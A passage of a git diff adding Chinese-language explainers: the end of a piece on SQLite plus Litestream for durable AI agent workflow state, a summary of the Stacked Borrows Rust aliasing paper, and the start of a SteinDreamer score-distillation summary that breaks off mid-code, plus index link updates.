+文章指出：对 **day one** 的系统，这往往是**过度设计**。工作流真正要持久的是**状态机 + 执行日志**，不是一整套分布式中间件。
+
+### 2. 与 AI Agent 工作负载天然契合
+
+Agent 任务常见特征：
+
+- **突发（bursty）**：跑几分钟就停，不是 7×24 常驻。
+- **实验性强**：频繁改 prompt、改工具链，需要可复制的状态快照做 post-mortem。
+- **单租户隔离**：每个 agent run 一份独立状态，比多租户共享 Postgres 更简单。
+
+「一 Agent 一 SQLite 文件 + S3 备份」比「共享大库 + 复杂租户隔离」更贴合这类负载。
+
+### 3. 可检查性（inspectability）是隐藏优势
+
+SQLite 状态是一个**普通文件**：
+
+- 用 `sqlite3 workflow.db` 直接查表
+- 复制到笔记本离线分析 Agent「到底做了什么」
+- 配合 Litestream 从 S3 拉历史版本做审计
+
+专用 orchestrator 的 internal state 往往要专用 UI 或 API 才能看；文件级状态对调试更友好。
+
+### 4. 成本与运维面
+
+| 方案 | 典型额外成本 |
+|------|----------------|
+| Temporal 自托管 | 多组件集群、持久化存储、版本升级 |
+| 托管 Postgres | 实例费、连接池、备份策略 |
+| SQLite + Litestream | 几乎零：Worker 磁盘 + 廉价 S3 |
+
+对初创团队和研究型 Agent 系统，**先把状态 durable 起来**，比**先把基础设施 enterprise 化**更合理。
+
+---
+
+## 核心概念
+
+### 1. Durable execution vs durable infrastructure
+
+**Durable execution（持久化执行）**：任务中断后，已完成的步骤不丢，可从 checkpoint 继续。
+
+**Durable infrastructure（持久化基础设施）**：数据库集群、消息队列、专用编排层本身高可用。
+
+文章强调：前者是**业务需求**，后者只是**实现手段之一**。SQLite 文件在单节点上已经是 durable 的（配合 WAL + `synchronous=FULL`）；你缺的是**跨节点 HA** 时才需要 Postgres。
+
+### 2. 工作流状态 = 执行日志（event log）
+
+Obelisk 模型里，workflow progress 活在 **execution log** 里：
+
+```text
+workflow_id | step | status   | input_json | output_json | created_at
+------------|------|----------|------------|-------------|------------
+wf-001      | 1    | completed| {...}      | {...}       | ...
+wf-001      | 2    | failed   | {...}      | NULL        | ...
+wf-001      | 2    | completed| {...}      | {...}       | ...  ← retry
+```
+
+恢复时：**replay** 已提交步骤，从第一个未完成或失败步骤继续。这与 Temporal 的 event history 思想同源，只是存储从专用服务换成了 **本地 SQL 表**。
+
+### 3. SQLite 为何适合当「档案柜」
+
+| 特性 | 对工作流的意义 |
+|------|----------------|
+| **ACID 事务** | 一步完成 = 日志行要么全写入要么全不写入，不会半条状态 |
+| **嵌入式** | 无网络 hop、无独立 DB 进程、无额外 control plane |
+| **单文件** | 备份 = `cp`，迁移 = 上传文件，调试 = 打开客户端 |
+| **WAL 模式** | 读状态（调度器）与追加日志（Worker）可并发，少锁竞争 |
+
+推荐生产向配置（社区共识）：
+
+```sql
+PRAGMA journal_mode = WAL;
+PRAGMA synchronous = FULL;  -- 每事务 fsync，断电不丢已 commit 步骤
+```
+
+`FULL` 比 `NORMAL` 慢，但对 workflow checkpoint 来说，**丢一步的代价通常远大于多一次 fsync**。
+
+### 4. Litestream：把本地文件变成可移植资产
+
+Litestream 是 SQLite 的**异步连续备份**工具：监听 WAL，把变更页流式复制到 S3 / GCS / 兼容对象存储。
+
+```
+Worker 进程                Litestream sidecar           S3
+    │                            │                      │
+    ├── 写 workflow.db ──────────►│── 复制 WAL 页 ──────►│ workflow.db.lz4
+    │   (本地热数据)              │   (异步)             │ (冷备份 / 审计)
+```
+
+**重要 caveat（文章明确写出）**：复制是**异步**的。若本地磁盘在最新 WAL 页复制前彻底消失，恢复可能**少最后几条写入**。这对实验 Agent、staging 通常可接受；对**计费、合规强一致**场景则不够，应上 Postgres 或同步复制。
+
+需显式定义 **RPO（可接受丢多少数据）** 和 **RTO（多久恢复）**：
+
+- SQLite + Litestream async：RPO > 0（秒级到分钟级），RTO = 拉快照 + 启动 Worker
+- Postgres HA：RPO ≈ 0，RTO 取决于 failover 机制
+
+### 5. 「一 Worker 一库」回避多写者问题
+
+SQLite 的已知限制：**同一时刻 essentially 一个写者**。分布式系统里这是硬伤；但 Agent 场景常常是 **每个 run 独立进程、独立 DB 文件**——没有跨 Worker 争写同一文件，限制自然消失。
+
+```
+                    ┌─ agent-run-1.db ─► Litestream ─► s3://runs/1/
+VM / Container 1 ───┤
+                    └─ worker 只写自己的库
+
+                    ┌─ agent-run-2.db ─► Litestream ─► s3://runs/2/
+VM / Container 2 ───┤
+                    └─ 故障只影响 run 2
+```
+
+Cloudflare Workflows V2 的 per-instance SQLite 是同一模式在超大规模下的验证。
+
+### 6. 何时该用 Postgres 而不是 SQLite
+
+文章**不**声称 SQLite 万能。Obelisk 保留 Postgres 路径，适用于：
+
+| 需求 | 为何 SQLite 不够 |
+|------|------------------|
+| 多 Worker **并发写同一工作流状态** | 文件锁成为瓶颈 |
+| 跨 AZ **高可用**、自动 failover | 单文件 + 异步备份 ≠ HA |
+| **同步复制** durability 模型 | Litestream 是 async |
+| 超大共享状态、复杂跨 workflow 查询 | 网络 DB + 连接池更合适 |
+
+原则：**状态需求到了再升级**，不要「以防万一」第一天就 Postgres。
+
+---
+
+## 代码示例 1：最小持久化工作流日志（Python + sqlite3）
+
+下面是一个**零基础可读**的最小实现：用两张表模拟 workflow + step log，展示 checkpoint 与 retry。
+
+```python
+import json
+import sqlite3
+import uuid
+from contextlib import contextmanager
+from datetime import datetime, timezone
+
+DB_PATH = "workflow.db"
+
+SCHEMA = """
+PRAGMA journal_mode = WAL;
+PRAGMA synchronous = FULL;
+
+CREATE TABLE IF NOT EXISTS workflows (
+  id          TEXT PRIMARY KEY,
+  name        TEXT NOT NULL,
+  status      TEXT NOT NULL DEFAULT 'running',
+  created_at  TEXT NOT NULL
+);
+
+CREATE TABLE IF NOT EXISTS step_log (
+  id           INTEGER PRIMARY KEY AUTOINCREMENT,
+  workflow_id  TEXT NOT NULL,
+  step_name    TEXT NOT NULL,
+  attempt      INTEGER NOT NULL DEFAULT 1,
+  status       TEXT NOT NULL,
+  payload      TEXT,
+  result       TEXT,
+  recorded_at  TEXT NOT NULL,
+  FOREIGN KEY (workflow_id) REFERENCES workflows(id)
+);
+
+CREATE INDEX IF NOT EXISTS idx_step_log_wf
+  ON step_log(workflow_id, id);
+"""
+
+@contextmanager
+def connect():
+    conn = sqlite3.connect(DB_PATH)
+    conn.row_factory = sqlite3.Row
+    try:
+        conn.executescript(SCHEMA)
+        yield conn
+        conn.commit()
+    finally:
+        conn.close()
+
+def utcnow():
+    return datetime.now(timezone.utc).isoformat()
+
+def start_workflow(conn, name: str) -> str:
+    wf_id = str(uuid.uuid4())
+    conn.execute(
+        "INSERT INTO workflows (id, name, created_at) VALUES (?, ?, ?)",
+        (wf_id, name, utcnow()),
+    )
+    return wf_id
+
+def append_step(conn, wf_id, step_name, attempt, status, payload=None, result=None):
+    conn.execute(
+        """INSERT INTO step_log
+           (workflow_id, step_name, attempt, status, payload, result, recorded_at)
+           VALUES (?, ?, ?, ?, ?, ?, ?)""",
+        (wf_id, step_name, attempt, status,
+         json.dumps(payload), json.dumps(result), utcnow()),
+    )
+
+def last_completed_step(conn, wf_id: str) -> str | None:
+    row = conn.execute(
+        """SELECT step_name FROM step_log
+           WHERE workflow_id = ? AND status = 'completed'
+           ORDER BY id DESC LIMIT 1""",
+        (wf_id,),
+    ).fetchone()
+    return row["step_name"] if row else None
+
+def run_activity(fn, payload, max_attempts=3):
+    """模拟可重试的 activity：失败则抛异常，由上层记录并重试。"""
+    last_err = None
+    for attempt in range(1, max_attempts + 1):
+        try:
+            return fn(payload), attempt
+        except Exception as e:
+            last_err = e
+    raise last_err
+
+# --- 模拟业务步骤 ---
+def fetch_flights(_):
+    return {"options": ["CA123", "MU456"]}
+
+def book_flight(data):
+    if data["choice"] == "INVALID":
+        raise ValueError("no seats")
+    return {"pnr": "ABC123", "flight": data["choice"]}
+
+STEPS = [
+    ("fetch_flights", fetch_flights),
+    ("book_flight", book_flight),
+]
+
+def execute_workflow(wf_id: str, initial_input: dict):
+    with connect() as conn:
+        resume_after = last_completed_step(conn, wf_id)
+        skipping = resume_after is not None
+        data = initial_input
+
+        for step_name, fn in STEPS:
+            if skipping:
+                if step_name == resume_after:
+                    skipping = False
+                continue  # replay：已完成步骤不再执行
+
+            result, attempt = run_activity(fn, data)
+            append_step(conn, wf_id, step_name, attempt, "completed",
+                        payload=data, result=result)
+            data = result
+
+        conn.execute(
+            "UPDATE workflows SET status = 'completed' WHERE id = ?",
+            (wf_id,),
+        )
+
+if __name__ == "__main__":
+    with connect() as conn:
+        wf = start_workflow(conn, "travel-booking")
+    # 第一次运行可能在 book 失败；修复 input 后再次 execute_workflow(wf, ...)
+    execute_workflow(wf, {"choice": "CA123"})
+    print(f"workflow {wf} done — inspect with: sqlite3 {DB_PATH}")
+```
+
+**要点**：
+
+1. 每步 `completed` 写入 `step_log`，进程崩溃后靠 `last_completed_step` **断点续跑**。
+2. `WAL + synchronous=FULL` 保证 commit 后断电不丢日志。
+3. 整个 durable 层**零外部依赖**，只有一个 `.db` 文件。
+
+---
+
+## 代码示例 2：Litestream 备份与恢复（运维配置）
+
+逻辑代码之外，**便携性**靠 Litestream 配置。典型 `litestream.yml`：
+
+```yaml
+# litestream.yml — 将本地 workflow.db 持续复制到 S3 兼容存储
+dbs:
+  - path: /data/workflow.db
+    replicas:
+      - type: s3
+        bucket: my-agent-workflows
+        path: backups/${HOSTNAME}/workflow.db
+        region: ap-east-1
+        sync-interval: 1s
+        # 可选：保留快照便于按时间点恢复
+        retention: 168h
+```
+
+启动 sidecar（与 Worker 同 Pod / 同 VM）：
+
+```bash
+# 1. 初始化本地库（Worker 启动前）
+sqlite3 /data/workflow.db "PRAGMA journal_mode=WAL; PRAGMA synchronous=FULL;"
+
+# 2. 启动 Litestream 复制
+litestream replicate -config litestream.yml
+
+# 3. Worker 正常运行，读写 /data/workflow.db
+python worker.py
+
+# --- 灾难恢复：本地盘没了，从 S3 还原 ---
+litestream restore -o /data/workflow.db s3://my-agent-workflows/backups/host-7/workflow.db
+python worker.py   # 从 step_log 继续 replay
+```
+
+**运维检查清单**：
+
+```bash
+# 查看 Litestream 复制滞后（lag 过大 = RPO 风险上升）
+litestream databases
+
+# 人工拉一份用于调试「Agent 昨晚做了什么」
+litestream restore -o /tmp/debug.db s3://my-agent-workflows/backups/host-7/workflow.db
+sqlite3 /tmp/debug.db "SELECT step_name, status, recorded_at FROM step_log ORDER BY id;"
+```
+
+---
+
+## 与 Temporal / DBOS 的对比（心智模型）
+
+| 维度 | Temporal 类 orchestrator | DBOS (Postgres) | SQLite + Litestream (本文) |
+|------|--------------------------|-----------------|------------------------------|
+| 状态存储 | 专用 history store | 已有 Postgres | 本地 `.db` 文件 |
+| 基础设施 | 重（多组件） | 中（需 DB 服务） | 轻（嵌入式 + S3） |
+| 多 Worker 共享写 | 原生支持 | 原生支持 | 需「一库一 Worker」或只读副本 |
+| 调试体验 | UI + CLI | SQL 查 Postgres | 直接打开文件 |
+| 典型起点 | 成熟微服务、长流程 | 已有 Postgres 的企业 | AI Agent、实验、边缘 |
+
+文章立场不是「Temporal 错了」，而是：**很多系统 day one 不需要 Temporal 的复杂度**；在 DBOS 谱系上，SQLite 是更轻的默认项。
+
+---
+
+## 适用场景与反模式
+
+### 适合
+
+- 单 Agent / 单租户 run 的状态隔离
+- 研发 staging、可接受秒级 RPO 的实验流水线
+- CI/CD 步骤编排（单 runner 写本地库）
+- 边缘 / IoT：本地 durable，有网时 Litestream 同步
+- 需要**频繁复制状态给人类调试**的场景
+
+### 不适合（应直接 Postgres / 专用引擎）
+
+- 数十 Worker **同时更新同一 workflow 实例**
+- 金融级 **RPO = 0**、跨 region 同步读
+- 超大全局调度器（所有状态一张表、极高 QPS 写）
+- 已有成熟 Temporal 投资且团队熟悉其语义
+
+---
+
+## 设计原则（文章提炼 + 实践补充）
+
+1. **Durable ≠ distributed**：单节点上 durable 的 workflow state 已经是真正的持久化；分布式是下一层需求。
+2. **先匹配状态的复杂度**：没有 HA 需求就不要先上 HA 架构。
+3. **显式 RPO/RTO**：Litestream async 备份前签字认可「可能丢最后一秒」。
+4. **保持 log 可 inspect**：选 SQLite  partly 因为文件即 artifact。
+5. **计算 disposable，状态 precious**：Worker 随时可杀；杀之前确保 step commit。
+6. **升级路径清晰**：SQLite → Postgres（Obelisk 双模式）→ 必要时 Temporal，按阈值演进。
+
+---
+
+## 常见误区
+
+| 误区 | 澄清 |
+|------|------|
+| 「SQLite 只能做原型」 | WAL + 正确 pragma 下，单机 durable workflow 可长期生产；Cloudflare 已有大规模实例 |
+| 「没有 K8s + Postgres 就不 durable」 | Durable 指状态 survive 进程崩溃，不是指你必须有 3 节点 DB |
+| 「Litestream = 实时 HA」 | 它是**备份**，不是同步双活；磁盘瞬间全毁可能丢未复制 WAL |
+| 「一个 SQLite 服务全公司 Agent」 | 多写者会痛；应 **一 run 一文件** 或 sharding |
+| 「永远不需要 Postgres」 | 当共享写、HA、同步复制成为硬需求时必须升级 |
+
+---
+
+## 延伸阅读
+
+- [Obelisk 原文](https://obeli.sk/blog/sqlite-is-all-you-need-for-durable-workflows/)
+- DBOS：Postgres is all you need for durable execution（本文的 upstream 论点）
+- [Litestream 文档](https://litestream.io/) — SQLite → S3 连续复制
+- Cloudflare Workflows V2 — SQLite-backed per-instance state at scale
+- Obelisk 项目 — SQLite 默认、Postgres 可选的工作流引擎实现
+
+---
+
+## 一句话总结
+
+**持久化工作流真正要保存的是「执行日志」这份档案，不是编排器大楼；对大量 AI Agent 与实验型系统，本地 SQLite（WAL + 全同步）+ Litestream 备份到 S3 + 可丢弃的 Worker，就是 day one 足够 durable、足够便宜、足够可调试的默认方案——等共享写与高可用成为硬需求，再升级到 Postgres 或专用 orchestrator，而不是反过来。**
diff --git a/src/content/docs/papers/ssa.md b/src/content/docs/papers/ssa.md
index 4207259c7..dcfcac430 100644
--- a/src/content/docs/papers/ssa.md
+++ b/src/content/docs/papers/ssa.md
@@ -222,6 +222,7 @@ entry:
 - [[steensgaard-pointer]] —— Steensgaard 指针分析 — 用等价合并把指针分析压到几乎线性
 - [[tensorflow-osdi-2016]] —— TensorFlow — 把神经网络拆成数据流图再跑到任何机器上
 - [[tomasulo-1967]] —— Tomasulo 算法 — 让 CPU 自己决定指令的执行顺序
+- [[tree-sitter-2018]] —— Tree-sitter — 增量式解析系统
 - [[triton-2019]] —— Triton 2019 — 让 Python 写出贴近 cuBLAS 的 GPU kernel
 - [[triton-llm]] —— Triton — 让 Python 程序员也能写出贴近 cuBLAS 的 GPU kernel
 - [[tvm]] —— TVM — 让一份模型能在所有硬件上跑得快
diff --git a/src/content/docs/papers/stacked-borrows-2019.md b/src/content/docs/papers/stacked-borrows-2019.md
new file mode 100644
index 000000000..35f73647f
--- /dev/null
+++ b/src/content/docs/papers/stacked-borrows-2019.md
@@ -0,0 +1,131 @@
+---
+title: Stacked Borrows: An Aliasing Model for Rust
+来源: https://plv.mpi-sws.org/rustbelt/stacked-borrows/paper.pdf
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# Stacked Borrows: Rust 的别名模型
+
+> 论文: Ralf Jung, Hoang-Hai Dang, Jeehoon Kang, Derek Dreyer. POPL 2020.
+
+## 一、为什么需要这个模型？——从"借书"说起
+
+想象你有一本珍贵的书。Rust 的规则是：你可以把这本书借给别人（共享引用 `&T`），也可以自己独占阅读（可变引用 `&mut T`），但不能同时既借出去又自己看。这就是 Rust 借用检查器在编译时做的事。
+
+但问题是：Rust 还允许程序员用 `unsafe` 代码绕过编译器检查。比如把一个引用转成原始指针 `*mut T`，再把它复制多份，然后当作多个可变引用来用。编译器在优化代码时，怎么知道这些操作不会出问题？
+
+Stacked Borrows 就是答案。它定义了一套**运行时规则**，告诉编译器：哪些 unsafe 代码是合法的，哪些属于"未定义行为"（UB）。如果代码违反了这套规则，编译器就可以随便优化——因为这种代码本来就不该存在。
+
+## 二、核心概念：借用栈
+
+### 2.1 一个内存位置对应一个栈
+
+Stacked Borrows 的核心想法很简单：**每个内存位置都有一个栈**，栈里装着所有被允许访问该位置的"引用标签"。
+
+打个比方：你有一个抽屉（内存位置），每次有人想往里面放东西或者从里面拿东西，他必须先在门口排队（入栈），排到队首才能操作。操作完之后，后面的人才能继续。
+
+### 2.2 标签（Tag）
+
+每个引用在被创建时，都会被分配一个唯一的编号，叫"标签"。就像每个人进入大楼时领到的访客证。可变引用有编号的访客证，原始指针没有编号（用一个特殊符号 `⊥` 表示）。
+
+### 2.3 栈里的三种物品
+
+栈里可以放三种东西：
+
+| 物品 | 含义 |
+|------|------|
+| `Unique(t)` | 可变引用，标签为 t，独占访问权 |
+| `SharedRO(t)` | 共享只读引用，标签为 t，只能读不能写 |
+| `SharedRW(⊥)` | 原始指针标记，表示该位置被"共享"了，原始指针可以读写 |
+
+### 2.4 三条基本规则
+
+1. **新建引用**：创建新引用时，把它推入栈顶。如果从已有引用派生出新引用，先用一下旧引用（可能弹出它上面的东西），再推入新的。
+2. **读取**：查找标签对应的物品在栈中的位置，把它上面的 `SharedRO` 弹出，但保留该物品本身。
+3. **写入**：查找标签对应的物品，把它上面的所有东西都弹出，确保它在栈顶，然后执行写入。
+
+如果查找某个标签时，在栈里根本找不到它——那就是未定义行为。
+
+## 三、代码示例
+
+### 示例 1：可变引用的"XYXY"反模式
+
+```rust
+let mut local = 0;
+let x = &mut local;   // 栈: [Unique(0), Unique(1)]
+let y = &mut *x;       // 栈: [Unique(0), Unique(1), Unique(2)]
+*x = 1;                // 弹出 Unique(2)，栈: [Unique(0), Unique(1)]
+*y = 2;                // 错误！Unique(2) 不在栈里了 → UB
+```
+
+这对应 Rust 借用检查器拒绝的程序。`y` 是从 `x` 派生出来的，意味着 `y` 的使用应该"嵌套在" `x` 的使用之间。但这里先用了 `x`，再想用 `y`——顺序反了，栈原则被违反。
+
+### 示例 2：通过原始指针制造别名
+
+```rust
+let mut local = 5;
+let raw = &mut local as *mut i32;  // 栈: [..., SharedRW(⊥)]
+
+// 第一次 &mut *raw：用 raw 指针，弹出 SharedRW 之上的东西
+// 栈: [..., Unique(2)]，x = Pointer(local, 2)
+
+// 第二次 &mut *raw：再用 raw 指针，弹出 Unique(2)
+// 栈: [..., Unique(3)]，y = Pointer(local, 3)
+
+// 此时 x（标签 2）已经被弹出了，再用 x 就是 UB
+```
+
+这就是论文开头那个经典例子：把同一个原始指针转成两个 `&mut` 引用传给函数。编译器优化时，可以假设 `x` 和 `y` 不别名，因为 Stacked Borrows 声明这种代码是 UB。
+
+### 示例 3：共享引用的共存
+
+```rust
+let mut local = 42;
+let x = &mut local;          // 栈: [Unique(0), Unique(1)]
+let r1 = &*x;                 // 栈: [Unique(0), Unique(1), SharedRO(2)]
+let r2 = &*x;                 // 栈: [Unique(0), Unique(1), SharedRO(2), SharedRO(3)]
+let v1 = *r1;                 // 查找 SharedRO(2)，上面没有东西要弹
+let v2 = *r2;                 // 查找 SharedRO(3)，上面没有东西要弹
+*x += 17;                     // 弹出 SharedRO(2) 和 SharedRO(3)，栈: [Unique(0), Unique(1)]
+let v3 = *r1;                 // 错误！SharedRO(2) 已被弹出 → UB
+```
+
+共享引用可以随意交替使用（XYXY 模式允许），因为读取操作不会弹出对方的物品。但一旦有写入发生，所有共享引用就全部失效。
+
+## 四、关键机制：Retag
+
+编译器在函数入口处会对每个引用参数做"重新标记"（retag），相当于 `x = &mut *x`。这会：
+
+1. 使用旧值（可能弹出栈上的东西）
+2. 生成一个新的唯一标签
+
+这样做的目的是保证：进入函数后的引用，其标签一定是唯一的，不会被调用者的代码伪造。这是编译器做优化的前提——只有标签唯一，编译器才能确信"没有其他指针能访问这个内存"。
+
+## 五、深入：共享引用的读取规则
+
+共享引用的读取规则有一个微妙之处：**读取不会弹出对方的物品**。
+
+具体来说，当用 `*r1` 读取时，系统在栈中找到 `SharedRO(2)`，只弹出它上面的 `SharedRO` 物品（如果有），但保留 `SharedRO(2)` 本身。这意味着 `r1` 和 `r2` 可以交替读取，互不影响。
+
+但写入规则完全不同。写入时，系统会弹出目标物品之上的**所有**物品（不只是 `SharedRO`）。所以 `*x += 17` 会把 `SharedRO(2)` 和 `SharedRO(3)` 一起弹出，导致 `r1` 和 `r2` 失效。
+
+这个设计的关键在于：栈顶始终保证没有 `SharedRO` 物品压在 `Unique` 或 `SharedRW` 物品之上。也就是说，**任何时候想写入，必须先清理掉所有共享引用**。
+
+## 六、为什么这个模型重要？
+
+1. **编译器的许可证**：它告诉编译器，在满足栈原则的前提下，可以自由重排内存访问、消除冗余读取。比如 `*x = 42; f(); return *x;` 中，如果 `f()` 不通过 `x` 访问内存，编译器可以把 `return *x` 优化为 `return 42`。
+
+2. **不阻碍合法代码**：作者用 Miri（Rust 的解释器）跑了标准库的大部分测试，绝大多数通过了。说明这个模型"够宽松"，不会误杀正常的 unsafe 代码。
+
+3. **形式化证明**：整个模型用 Coq 做了形式化验证，证明了它确实能支持所需的编译器优化。
+
+4. **与 Rust 演进的关系**：Stacked Borrows 不依赖生命周期信息，这意味着无论 Rust 的借用检查器如何变化（从旧的 AST 检查器到 NLL，再到 Polonius），unsafe 代码的语义都不会改变。
+
+## 七、总结
+
+Stacked Borrows 的本质是把 Rust 的借用检查器从"编译时静态检查"变成了"运行时动态检查"。借用检查器用生命周期来判断引用是否合法，而 Stacked Borrows 用栈来记录引用的使用顺序。两者遵循同样的直觉：派生的引用应该嵌套使用，不能交错。
+
+理解了 Stacked Borrows，你就理解了 Rust 编译器优化背后的语义基础——这也是为什么它是理解 Rust 内存安全的关键论文之一。
diff --git a/src/content/docs/papers/standard-ml.md b/src/content/docs/papers/standard-ml.md
index bde9407c7..a67e28d1c 100644
--- a/src/content/docs/papers/standard-ml.md
+++ b/src/content/docs/papers/standard-ml.md
@@ -161,6 +161,7 @@ Robin Milner 1973 年到爱丁堡，启动 LCF 项目（一个辅助证明程序
 - [[lalr-deremer]] —— DeRemer LALR(1) — 把 LR 表压到能用大小
 - [[lambda-calculus]] —— λ-演算 — 用三条规则表达所有可计算函数
 - [[landin-secd]] —— Landin SECD — 第一台机械求值 lambda 表达式的抽象机器
+- [[language-server-protocol-spec]] —— Language Server Protocol — 让编辑器共享同一套「语言大脑」的 USB 协议
 - [[liquid-types]] —— Liquid Types — 让编译器自己推导出"哪些值才合法"
 - [[llvm]] —— LLVM — 模块化编译器框架
 - [[mccarthy-lisp]] —— McCarthy LISP 1960
diff --git a/src/content/docs/papers/stein-dreamer.md b/src/content/docs/papers/stein-dreamer.md
new file mode 100644
index 000000000..967d9c2ef
--- /dev/null
+++ b/src/content/docs/papers/stein-dreamer.md
@@ -0,0 +1,344 @@
+---
+title: SteinDreamer: Variance Reduction for Text-to-3D Score Distillation via Stein Identity
+来源: https://arxiv.org/abs/2401.00604
+日期: 2026-06-13
+分类: 机器学习
+子分类: 3D生成
+provenance: pipeline-v3
+---
+
+# SteinDreamer：用 Stein 恒等式降低方差，让文字生成 3D 更稳更快
+
+## 一、从"盲人摸象"说起
+
+想象你是一位雕塑家，面前有一块石头，但你不能直接看到它。你只能让助手从不同角度拍照，然后把照片拿给一位"懂艺术的评论家"（一个在 2D 图片上训练好的 AI）来评价。评论家会说："这张照片里的东西应该往某个方向改一改。"
+
+你的任务就是把评论家的意见翻译成对石头的雕刻动作。这就是 **Text-to-3D**（文字生成 3D）的核心思路。
+
+但问题来了：每次只拍一张照片就听评论家的，意见波动很大——今天说往左刻，明天说往右刻。结果石头被刻得歪歪扭扭，甚至出现"两张脸"（Janus 问题）或"幽灵般的伪影"。
+
+SteinDreamer 这篇论文的核心洞察是：**问题的根源不是评论家不准，而是我们听意见的方式方差太高**。他们引入了一个数学工具——Stein 恒等式——来"降噪"，让雕刻过程更稳定、更快收敛。
+
+## 二、前置知识：Score Distillation 是什么
+
+在深入之前，需要了解两个关键概念。
+
+### 2.1 NeRF：用神经网络表示 3D
+
+NeRF（Neural Radiance Field）把 3D 场景用一个神经网络来表示。给定空间中的一个点 (x, y, z) 和一个观察方向，网络输出该点的颜色和密度。通过"体积渲染"（volume rendering），可以从任意角度生成 2D 图像。
+
+### 2.2 SDS：DreamFusion 的核心
+
+DreamFusion 提出了 **Score Distillation Sampling (SDS)**，公式如下：
+
+```
+Δ_SDS = E[t, c, ε] [ ω(t) · (∂g(θ,c)/∂θ) · (σ_t · ∇log p_t(x|y) - ε) ]
+```
+
+拆开看：
+- `θ` 是 3D 模型的参数（比如 NeRF 的权重）
+- `g(θ, c)` 是从参数 θ、相机位姿 c 渲染出的一张 2D 图片
+- `∇log p_t(x|y)` 是预训练的文本到图像扩散模型给出的"评分梯度"——告诉这张图应该往哪个方向改才能更像文字描述 y
+- `ε` 是随机噪声
+- `∂g(θ,c)/∂θ` 是通过链式法则把 2D 的评分"反向传播"回 3D 参数
+
+简单类比：SDS 就是让 3D 模型去"模仿"扩散模型在 2D 图片上的分布。
+
+### 2.3 VSD：ProlificDreamer 的改进
+
+VSD（Variational Score Distillation）在 SDS 的基础上加了一个额外的分数项：
+
+```
+Δ_VSD = E[t, c, ε] [ ω(t) · (∂g(θ,c)/∂θ) · (σ_t · ∇log p_t(x|y) - σ_t · ∇log q_t(x|c)) ]
+```
+
+多出来的 `∇log q_t(x|c)` 是对"渲染图像本身分布"的估计，相当于给自己加了一个"自我校准"。效果确实比 SDS 好，但论文作者追问：**为什么好？本质是什么？**
+
+## 三、论文的核心发现：SDS 和 VSD 都是"控制变量法"
+
+这是论文最精彩的理论贡献之一。
+
+### 3.1 什么是控制变量（Control Variate）
+
+在统计学中，如果你想估算一个难以计算的期望值，可以引入一个**已知均值为零**的辅助函数来降低方差。这就是蒙特卡洛估计中的"控制变量法"。
+
+公式上，假设你要估算 E[f(X)]，如果你有一个函数 h(X) 满足 E[h(X)] = 0，那么：
+
+```
+E[f(X) + μ · h(X)] = E[f(X)] + μ · E[h(X)] = E[f(X)]
+```
+
+加了 h(X) 之后，估计的**期望不变**（仍然是无偏的），但如果 h(X) 和 f(X) 高度相关，方差就会显著降低。
+
+### 3.2 SDS 和 VSD 的本质
+
+论文把 SDS 拆成两部分：
+
+```
+Δ_SDS = E[ f(t,θ,x,c) ] - E[ h_SDS(t,θ,x,c) ]
+```
+
+其中：
+- `f` 是扩散模型的评分项
+- `h_SDS` 包含随机噪声 ε，其期望为 0
+
+同样地，VSD 也可以拆成：
+
+```
+Δ_VSD = E[ f(t,θ,x,c) ] - E[ h_VSD(t,θ,x,c) ]
+```
+
+其中 `h_VSD` 包含 `∇log q_t(x|c)`，也是一个零均值项。
+
+**关键结论**：SDS 和 VSD 在期望意义上是完全等价的！它们都在最小化同一个 KL 散度。VSD 之所以表现更好，是因为它的控制变量 h_VSD 与原始评分 f 的相关性更高，从而方差更小。
+
+用日常话说：SDS 用的是"纯随机噪声"做控制变量，而 VSD 用的是"自己渲染出来的图像分布"做控制变量——后者显然跟真实情况更接近，所以效果更好。
+
+## 四、SteinDreamer 的方案：Stein 恒等式
+
+既然控制变量法是关键，那能不能找到**更灵活、相关性更强**的控制变量？论文的答案是：能，用 Stein 恒等式。
+
+### 4.1 Stein 恒等式
+
+Stein 恒等式是一个优美的数学结果。对于任意分布 p(x) 和任意满足正则条件的函数 φ(x)，有：
+
+```
+E_{x~p} [ ∇log p(x) · φ(x) + ∇_x φ(x) ] = 0
+```
+
+这个公式的意思是：括号里这一坨东西的期望永远是零。也就是说，它可以作为一个**控制变量**！
+
+### 4.2 Stein Score Distillation (SSD)
+
+把 Stein 恒等式应用到 Score Distillation 中，论文得到了 SSD 的更新规则：
+
+```
+Δ_SSD = E[t,c,ε] [ ω(t) · (∂g(θ,c)/∂θ) · (σ_t · ∇log p_t(x|y) + μ ⊙ [ε·φ + ∇_x φ]) ]
+```
+
+对比 SDS/VSD，唯一的不同是在评分梯度后面加了一项 `μ ⊙ [ε·φ + ∇_x φ]`。
+
+这里：
+- `φ` 是任意基线函数（baseline function），可以是任何神经网络
+- `μ` 是可学习的权重，用来最优地降低方差
+- `[ε·φ + ∇_x φ]` 来自 Stein 恒等式，保证期望为零
+
+### 4.3 论文中的具体实现
+
+论文中，φ 是用 MiDAS（一个单目深度估计器）来实现的：
+
+```
+φ(t, x, θ, c) = -ℓ( α(θ, c), MiDAS(x) )
+```
+
+具体来说：
+1. 从当前 3D 模型渲染出一张 RGB 图和一张深度图
+2. 用 MiDAS 从带噪声的 RGB 图中预测深度
+3. 计算预测深度和真实深度之间的相关性损失作为 φ
+4. 通过自动微分得到 ∇_x φ
+
+这样做的直觉是：如果深度估计和渲染深度高度一致，说明 3D 结构是合理的。这个一致性信号可以作为控制变量来稳定梯度。
+
+## 五、代码示例
+
+### 示例 1：SSD 梯度更新的伪代码实现
+
+```python
+def ssd_step(nerf_model, diffusion_model, depth_estimator, theta, camera, text_prompt, mu):
+    """
+    SteinScoreDistillation 的一步更新
+    
+    参数:
+        nerf_model:       NeRF 3D 模型，参数为 theta
+        diffusion_model:  预训练的文本到图像扩散模型
+        depth_estimator:  MiDAS 单目深度估计器
+        theta:            当前 3D 模型参数
+        camera:           随机采样的相机位姿
+        text_prompt:      文本描述
+        mu:               控制变量的可学习权重
+    """
+    # Step 1: 从当前 3D 模型渲染 RGB 图和深度图
+    rgb_rendered = nerf_model.render(camera, theta)       # 渲染 RGB
+    depth_rendered = nerf_model.render_depth(camera, theta) # 渲染深度
+    
+    # Step 2: 添加噪声，得到带噪声的观测
+    t = random_diffusion_time()          # 随机采样时间步
+    alpha_t, sigma_t = diffusion_coeffs(t)
+    epsilon = torch.randn_like(rgb_rendered)
+    x_noisy = alpha_t * rgb_rendered + sigma_t * epsilon
+    
+    # Step 3: 用扩散模型估计评分梯度（和 SDS 一样）
